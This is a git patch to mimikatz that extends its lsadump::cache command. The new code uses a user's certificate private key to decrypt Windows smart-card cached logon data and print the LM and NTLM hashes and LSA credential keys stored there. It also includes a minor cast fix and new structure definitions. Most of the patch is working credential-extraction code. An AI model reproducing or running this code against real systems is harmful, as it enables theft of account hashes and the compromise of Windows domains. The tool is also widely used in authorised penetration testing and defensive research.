From 696ff18f110e1f1a6721c2df03ee0e0ee6fcaa94 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Sun, 18 Mar 2018 00:24:05 +0100 Subject: [PATCH] [new] lsadump::cache can extract NTLM hash from SmartCard local cache (cc: @asolino) [fix #133] Casting to ULONG result of the FIELD_OFFSET macro in lsasdump_dc module --- mimikatz/modules/kuhl_m_lsadump.c | 164 ++++++++++++++++++- mimikatz/modules/kuhl_m_lsadump.h | 26 +++ mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c | 2 +- modules/rpc/kull_m_rpc_ms-credentialkeys.h | 48 +++++- 4 files changed, 236 insertions(+), 4 deletions(-) diff --git a/mimikatz/modules/kuhl_m_lsadump.c b/mimikatz/modules/kuhl_m_lsadump.c index cb9cd6f..b3dd0ab 100644 --- a/mimikatz/modules/kuhl_m_lsadump.c +++ b/mimikatz/modules/kuhl_m_lsadump.c @@ -103,10 +103,14 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO HKEY hSystemBase, hSecurityBase; BYTE sysKey[SYSKEY_LENGTH]; BOOL hashStatus = FALSE; - LPCWSTR szSystem = NULL, szSecurity = NULL, szHash, szPassword; + LPCWSTR szSystem = NULL, szSecurity = NULL, szHash, szPassword, szSubject; UNICODE_STRING uPassword; KUHL_LSADUMP_DCC_CACHE_DATA cacheData = {0}; + HCERTSTORE hCertStore = NULL; + PCCERT_CONTEXT pCertCtx; + BOOL toFree; + if(!secretsOrCache) { if(kull_m_string_args_byName(argc, argv, L"user", &cacheData.username, NULL)) @@ -135,6 +139,36 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO else cacheData.username = NULL; kprintf(L"\n"); } + else if(kull_m_string_args_byName(argc, argv, L"subject", &szSubject, NULL)) + { + if(hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, CERT_SYSTEM_STORE_CURRENT_USER | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My")) + { + if(pCertCtx = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szSubject, NULL)) + { + if(CryptAcquireCertificatePrivateKey(pCertCtx, 0, NULL, &cacheData.hProv, &cacheData.keySpec, &toFree)) + { + if(cacheData.keySpec == CERT_NCRYPT_KEY_SPEC) + { + PRINT_ERROR(L"CNG not supported yet\n"); + __try + { + if(toFree) + NCryptFreeObject(cacheData.hProv); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND) + { + PRINT_ERROR(L"keySpec == CERT_NCRYPT_KEY_SPEC without CNG Handle ?\n"); + } + cacheData.hProv = 0; + } + } + CertFreeCertificateContext(pCertCtx); + } + else PRINT_ERROR_AUTO(L"CertFindCertificateInStore"); + CertCloseStore(hCertStore, CERT_CLOSE_STORE_FORCE_FLAG); + } + else PRINT_ERROR_AUTO(L"CertOpenStore"); + } } if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL)) @@ -185,6 +219,8 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO kull_m_registry_close(hSystem); } } + if(cacheData.hProv && toFree) + CryptReleaseContext(cacheData.hProv, 0); return STATUS_SUCCESS; } @@ -696,7 +732,7 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, kprintf(L"\n[%s - ", secretName); kull_m_string_displayLocalFileTime(&pMsCacheEntry->lastWrite); kprintf(L"]\nRID : %08x (%u)\n", pMsCacheEntry->userId, pMsCacheEntry->userId); - + s1 = szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data); if(lsaKeysStream) // NT 6 { @@ -705,6 +741,10 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2'); usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName; usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA)); + + if(pCacheData->hProv && ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->unk1) + kuhl_m_lsadump_decryptSCCache(pMsCacheEntry->enc_data + (s1 - ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->unk1), ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->unk1, pCacheData->hProv, pCacheData->keySpec); + if(pCacheData && pCacheData->username && (_wcsnicmp(pCacheData->username, usr.Buffer, usr.Length / sizeof(wchar_t)) == 0)) { kprintf(L"> User cache replace mode (2)!\n"); @@ -785,6 +825,126 @@ void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version) kprintf(L"MsCacheV%c : ", version); kull_m_string_wprintf_hex(((PMSCACHE_DATA) entry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); } +DECLARE_CONST_UNICODE_STRING(NTLM_PACKAGE_NAME, L"NTLM"); +DECLARE_CONST_UNICODE_STRING(LSACRED_PACKAGE_NAME, LSA_CREDENTIAL_KEY_PACKAGE_NAME); +BOOL kuhl_m_lsadump_decryptSCCache(PBYTE data, DWORD size, HCRYPTPROV hProv, DWORD keySpec) +{ + BOOL status = FALSE; + PKIWI_ENC_SC_DATA pEnc = NULL; + DWORD toDecryptSize = 0; + + HCRYPTHASH hHash, hHash2; + DWORD dwSigLen = 0; + PBYTE sig; + HCRYPTKEY hKey; + + DWORD i, j; + PPAC_CREDENTIAL_DATA credentialData = NULL; + PNTLM_SUPPLEMENTAL_CREDENTIAL ntlmCredential; + PNTLM_SUPPLEMENTAL_CREDENTIAL_V4 ntlmCredential4; + PKIWI_CREDENTIAL_KEYS pKeys = NULL; + + if(size > sizeof(KIWI_ENC_SC_DATA)) + { + if(RtlEqualMemory(data, "SuppData", 8)) + { + pEnc = &((PKIWI_ENC_SC_DATA_NEW) data)->data; + toDecryptSize = ((PKIWI_ENC_SC_DATA_NEW) data)->dataSize - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt); + } + else + { + pEnc = (PKIWI_ENC_SC_DATA) data; + toDecryptSize = size - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt); + } + + if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash)) + { + CryptHashData(hHash, pEnc->toSign, sizeof(pEnc->toSign), 0); + if(CryptSignHash(hHash, keySpec, NULL, 0, NULL, &dwSigLen)) + { + if(sig = (PBYTE) LocalAlloc(LPTR, dwSigLen)) + { + if(CryptSignHash(hHash, keySpec, NULL, 0, sig, &dwSigLen)) + { + if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash2)) + { + CryptHashData(hHash2, sig, dwSigLen, 0); + CryptHashData(hHash2, pEnc->toHash, sizeof(pEnc->toHash), 0); + if(CryptDeriveKey(hProv, CALG_RC4, hHash2, 0, &hKey)) // maybe RC2 sometimes ? + { + if(status = CryptDecrypt(hKey, 0, TRUE, 0, pEnc->toDecrypt, &toDecryptSize)) + { + if(kull_m_pac_DecodeCredential(pEnc->toDecrypt + 24, toDecryptSize - 24, &credentialData)) + { + for(i = 0; i < credentialData->CredentialCount; i++) + { + kprintf(L" [%u] %wZ", i, &credentialData->Credentials[i].PackageName); + if(RtlEqualUnicodeString(&NTLM_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE)) + { + ntlmCredential = (PNTLM_SUPPLEMENTAL_CREDENTIAL) credentialData->Credentials[i].Credentials; + switch(ntlmCredential->Version) + { + case 0: + if(ntlmCredential->Flags & 1) + { + kprintf(L"\n LM: "); + kull_m_string_wprintf_hex(ntlmCredential->LmPassword, LM_NTLM_HASH_LENGTH, 0); + } + if(ntlmCredential->Flags & 2) + { + kprintf(L"\n NTLM: "); + kull_m_string_wprintf_hex(ntlmCredential->NtPassword, LM_NTLM_HASH_LENGTH, 0); + } + break; + case 4: // 10 ? + ntlmCredential4 = (PNTLM_SUPPLEMENTAL_CREDENTIAL_V4) ntlmCredential; + if(ntlmCredential4->Flags & 2) + { + kprintf(L"\n NTLM: "); + kull_m_string_wprintf_hex(ntlmCredential4->NtPassword, LM_NTLM_HASH_LENGTH, 0); + } + break; + default: + kprintf(L"\nUnknown version: %u\n", ntlmCredential->Version); + } + } + else if(RtlEqualUnicodeString(&LSACRED_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE)) + { + if(kull_m_rpc_DecodeCredentialKeys(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, &pKeys)) + { + for(j = 0; j < pKeys->count; j++) + kuhl_m_sekurlsa_genericKeyOutput(&pKeys->keys[j], NULL); + kull_m_rpc_FreeCredentialKeys(&pKeys); + } + } + else + { + kprintf(L"\n"); + kull_m_string_wprintf_hex(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, 1 | (16 << 16)); + } + kprintf(L"\n"); + } + kull_m_pac_FreeCredential(&credentialData); + } + } + else PRINT_ERROR_AUTO(L"CryptDecrypt"); + CryptDestroyKey(hKey); + } + else PRINT_ERROR_AUTO(L"CryptDeriveKey(RC4)"); + CryptDestroyHash(hHash2); + } + } + else PRINT_ERROR_AUTO(L"CryptSignHash(data)"); + LocalFree(sig); + } + } + else PRINT_ERROR_AUTO(L"CryptSignHash(init)"); + CryptDestroyHash(hHash); + } + } + return status; +} + void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName) { DWORD szNeeded; diff --git a/mimikatz/modules/kuhl_m_lsadump.h b/mimikatz/modules/kuhl_m_lsadump.h index 00ce89d..c1620bb 100644 --- a/mimikatz/modules/kuhl_m_lsadump.h +++ b/mimikatz/modules/kuhl_m_lsadump.h @@ -19,6 +19,7 @@ #include "kuhl_m_lsadump_remote.h" #include "kuhl_m_crypto.h" #include "dpapi/kuhl_m_dpapi_oe.h" +#include "sekurlsa/kuhl_m_sekurlsa.h" #define SYSKEY_LENGTH 16 #define SAM_KEY_DATA_SALT_LENGTH 16 @@ -303,6 +304,28 @@ typedef struct _MSCACHE_DATA { DWORD unk8; } MSCACHE_DATA, *PMSCACHE_DATA; +typedef struct _KIWI_ENC_SC_DATA { + BYTE toSign[32]; + BYTE toHash[32]; + BYTE toDecrypt[ANYSIZE_ARRAY]; +} KIWI_ENC_SC_DATA, *PKIWI_ENC_SC_DATA; + +typedef struct _KIWI_ENC_SC_DATA_NEW { + BYTE Header[8]; // SuppData + DWORD unk0; + DWORD unk1; + DWORD unk2; + DWORD dataSize; + KIWI_ENC_SC_DATA data; +} KIWI_ENC_SC_DATA_NEW, *PKIWI_ENC_SC_DATA_NEW; + +typedef struct _NTLM_SUPPLEMENTAL_CREDENTIAL_V4 { + ULONG Version; + ULONG Flags; + ULONG unk; + UCHAR NtPassword[LM_NTLM_HASH_LENGTH]; +} NTLM_SUPPLEMENTAL_CREDENTIAL_V4, *PNTLM_SUPPLEMENTAL_CREDENTIAL_V4; + typedef struct _WDIGEST_CREDENTIALS { BYTE Reserverd1; BYTE Reserverd2; @@ -385,6 +408,8 @@ typedef struct _LSA_SUPCREDENTIALS_BUFFERS { typedef struct _KUHL_LSADUMP_DCC_CACHE_DATA { LPCWSTR username; BYTE ntlm[LM_NTLM_HASH_LENGTH]; + HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hProv; + DWORD keySpec; } KUHL_LSADUMP_DCC_CACHE_DATA, *PKUHL_LSADUMP_DCC_CACHE_DATA; typedef struct _KIWI_LSA_PRIVATE_DATA { @@ -412,6 +437,7 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique); BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, IN PKUHL_LSADUMP_DCC_CACHE_DATA pCacheData); void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version); +BOOL kuhl_m_lsadump_decryptSCCache(PBYTE data, DWORD size, HCRYPTPROV hProv, DWORD keySpec); void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName); BOOL kuhl_m_lsadump_decryptSecret(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecret, IN LPCWSTR KeyName, IN PNT6_SYSTEM_KEYS lsaKeysStream, IN PNT5_SYSTEM_KEY lsaKeyUnique, IN PVOID * pBufferOut, IN PDWORD pSzBufferOut); void kuhl_m_lsadump_candidateSecret(DWORD szBytesSecrets, PVOID bufferSecret, PCWSTR prefix, PCWSTR secretName); diff --git a/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c index 6c2b553..7f189a7 100644 --- a/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c +++ b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c @@ -2358,7 +2358,7 @@ ULONG SRV_IDL_DRSBind(handle_t rpc_handle, UUID *puuidClientDsa, DRS_EXTENSIONS { if(((PDRS_EXTENSIONS_INT) pextClient)->dwFlags & DRS_EXT_STRONG_ENCRYPTION) { - size = ((PDRS_EXTENSIONS_INT) pextClient)->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) ? FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) : FIELD_OFFSET(DRS_EXTENSIONS_INT, SiteObjGuid); + size = (ULONG) ((((PDRS_EXTENSIONS_INT) pextClient)->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt)) ? FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) : FIELD_OFFSET(DRS_EXTENSIONS_INT, SiteObjGuid)); if(*ppextServer = (DRS_EXTENSIONS *) midl_user_allocate(size)) { RtlZeroMemory(*ppextServer, size); diff --git a/modules/rpc/kull_m_rpc_ms-credentialkeys.h b/modules/rpc/kull_m_rpc_ms-credentialkeys.h index 3d5d05d..499d00a 100644 --- a/modules/rpc/kull_m_rpc_ms-credentialkeys.h +++ b/modules/rpc/kull_m_rpc_ms-credentialkeys.h @@ -25,4 +25,50 @@ void CredentialKeys_Decode(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pTyp void CredentialKeys_Free(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pType); #define kull_m_rpc_DecodeCredentialKeys(/*PVOID */data, /*DWORD */size, /*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Decode(data, size, pObject, (PGENERIC_RPC_DECODE) CredentialKeys_Decode) -#define kull_m_rpc_FreeCredentialKeys(/*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) CredentialKeys_Free) \ No newline at end of file +#define kull_m_rpc_FreeCredentialKeys(/*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) CredentialKeys_Free) + +#define LSA_CREDENTIAL_KEY_PACKAGE_NAME L"LSACREDKEY" +//#define LSA_CREDENTIAL_KEY_PACKAGE_ID 0x10000 // pseudo package id. must not collide with any other package id +//#define LSA_CREDENTIAL_KEY_NAME "CredentialKeys" +//#define LSA_CREDENTIAL_KEY_ROOT_KEY_ITERATIONS (1024 * 10) // in parity with cache logon verifier +// +//typedef enum _LSA_CREDENTIAL_KEY_SOURCE_TYPE { +// eFromPrecomputed = 1, // used by Kerberos +// eFromClearPassword, +// eFromNtOwf, +//} LSA_CREDENTIAL_KEY_SOURCE_TYPE, *PLSA_CREDENTIAL_KEY_SOURCE_TYPE; +// +//typedef enum _LSA_CREDENTIAL_KEY_TYPE { +// eDPAPINtOwf = 1, // legacy NTOWF used by DPAPI +// eDPAPISha1, // legacy SHA1 used by DPAPI +// eRootKey, // PBKDF2(NTOWF), uplevel root key +// eDPAPIProtection, // uplevel DPAPI protection key, derived from root key +//} LSA_CREDENTIAL_KEY_TYPE, *PLSA_CREDENTIAL_KEY_TYPE; +// +//typedef struct _LSA_CREDENTIAL_KEY { +// LSA_CREDENTIAL_KEY_SOURCE_TYPE SourceType; +// LSA_CREDENTIAL_KEY_TYPE KeyType; +// USHORT Iterations; +// USHORT KeySize; +//#ifdef MIDL_PASS +// [size_is(KeySize)] +//#endif // MIDL_PASS +// PUCHAR KeyBuffer; +//} LSA_CREDENTIAL_KEY, *PLSA_CREDENTIAL_KEY; +// +//typedef struct _LSA_CREDENTIAL_KEY_ARRAY { +// USHORT KeyCount; +//#ifdef MIDL_PASS +// [size_is(KeyCount)] LSA_CREDENTIAL_KEY Keys[*]; +//#else // MIDL_PASS +// LSA_CREDENTIAL_KEY Keys[ANYSIZE_ARRAY]; +//#endif // MIDL_PASS +//} LSA_CREDENTIAL_KEY_ARRAY, *PLSA_CREDENTIAL_KEY_ARRAY; +// +//// +//// convenience helper +//// +//typedef struct _LSA_CREDENTIAL_KEY_ARRAY_STORAGE { +// USHORT KeyCount; +// LSA_CREDENTIAL_KEY Keys[8]; +//} LSA_CREDENTIAL_KEY_ARRAY_STORAGE, *PLSA_CREDENTIAL_KEY_ARRAY_STORAGE; \ No newline at end of file